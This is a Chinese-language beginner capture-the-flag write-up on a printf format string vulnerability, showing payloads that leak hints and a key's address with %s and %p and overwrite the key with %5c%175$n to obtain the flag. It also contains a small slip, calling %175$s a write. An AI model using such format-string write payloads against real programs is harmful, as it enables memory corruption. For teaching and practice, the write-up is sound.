兔兔的%printf功能中fmtstr格式化字符串漏洞 write up
这是一道pwn方向的入门题。格式化字符串的成因在于像printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,一旦程序编写不规范例如将printf("%s",a)
,偷懒写成printf(a)
,此时就存在格式化字符串漏洞。关于这一题我们需要用到的知识点不多:
一、用$来表示第几个参数例如%printf("%d%3$d",1,2,3)
输出为3。
二、%n的使用,%n是往对应参数指向的内存写入已经输出的字符数量。这句话中有两个要点,1该参数为一个指针,2写入的值为字符数量。
三、利用%p输出指针所指的地址。
四、关于%"数字"c
的用法,在C之前可以加上数字,其作用是产生对应长度的参数,可以与%n配合向地址中写入数字(当然该数字指的是该参数的长度)。
好,那么知道了这四点我们就可以来获取flag啦~
1、利用%s与$符号获取hint
白夜学长提示我们先对兔子输入%s试试,%s的作用是打印地址的内容,默认为1,那么我们首先对兔兔输入%printf %s
,会得到如下反馈
1
2
3wow,好像被你发现了彩蛋?
------------
now the key = 2333333333 (l0tus:笨兔兔,笨笨)
接着利用$符号让其输出不同的参数,尝试%printf %s%2$s
,得到的反馈是
1
2
3wow,好像被你发现了彩蛋?fmtstr了解一下?
------------
now the key = 2333333333
显然我们的$符号生效了,其输出结果发生了改变但显然目前还不是我们想要的结果,于是接着尝试%printf %s%3$s
,得到如下反馈
1
2
3wow,好像被你发现了彩蛋?hint1:当key=5时即可拿到flag
------------
now the key = 2333333333
那么我们的第一个hint就找到了,也告诉了我们下一步的方向:改变key的值,
2、获取key的地址
这一步其实就是上一步的延续,光有hint1我们是不够修改key的数据的,那我们接着找hint2,这里中间的尝试过程我就不展示了,直接到hint2。输入为%printf %s%6$s
(可以简化成%printf %6$s
)反馈是
1
2
3
4很好,hin2:
the $ of &key = 175(也许你需要再了解一下fmtstr)
-------------
now the key = 2333333333
当时做到这一步时很欣慰,心里其实已经有答案了。根据我的C++基础可以得知&key意思就是key的地址,而 $ 对应的也就是其偏移量,那么这句话就可以很轻松地翻译成:key的地址偏移为175,那么我们就可以很轻松地获取key的地址了,输入%printf %175$p
,%p代表地址,文章开头提到过,那么175$指的就是偏移量为175的地址数据,也就是我们的key的地址,得到如下反馈
1
2
30x558c21ed0188
-------------
now the key = 2333333333
3、改写key的值
上一步我们得出了key的地址为0x558c21ed0188,那么我们便可以用%c配合%n来改写key的值了
我当时输入%printf %5c%175$n0x558c21ed0188
,得到的反馈是这样的
1
2
3
4`0x558c21ed0188
-------------
now the key = 5
VidarTeam{Welcome_To_The_Bin_World_XD}
4、反思
那么,flag是找出来了,但上面那行多余的输出是怎么回事呢?
当时的我并没有反应过来这个问题,后来白夜学长让我试试多输出几次key的地址,会发现每一次输出key的地址是不一样的,于是我尝试了
1
2
3
4
5
6
7
8
9第一次:
0x561dc0915188
-------------
now the key = 23333333
第二次:
0x55d5e48f4188
-------------
now the key = 23333333
可见两次输出的key地址确实不同,白夜学长说这个是二进制程序的一种内存保护方式,将程序的起始地址随机化。
因为%175$s就是表示将已经输出的字符数量写入第175个参数指向的内存,那么我的payload后面的地址就成了多余的成分,所以有了flag上面的多余输出。因此,获取flag时的那段payload就可以简化成%printf %5c%175$n
,这样直接将5写入第175号参数就可以啦,得到的输出是
1
2
3
4
5`
-------------
now the key = 5
VidarTeam{Welcome_To_The_Bin_World_XD}
5、本文的最后
首先感谢您的驻足,祝您永生愉悦!
这道题的难度特别适合新手,稍微学几个简单的payload符号,有一点编程基础,就可以看懂两个hint,跟着hint走就可以顺理成章得获取flag。
我的这篇wp写得也是非常简陋,有些细节可能说得不准确,大佬们见谅~
最后感谢白夜学长的耐心指导与及时的提醒,也感谢他的奶茶
就写到这里啦,拜拜~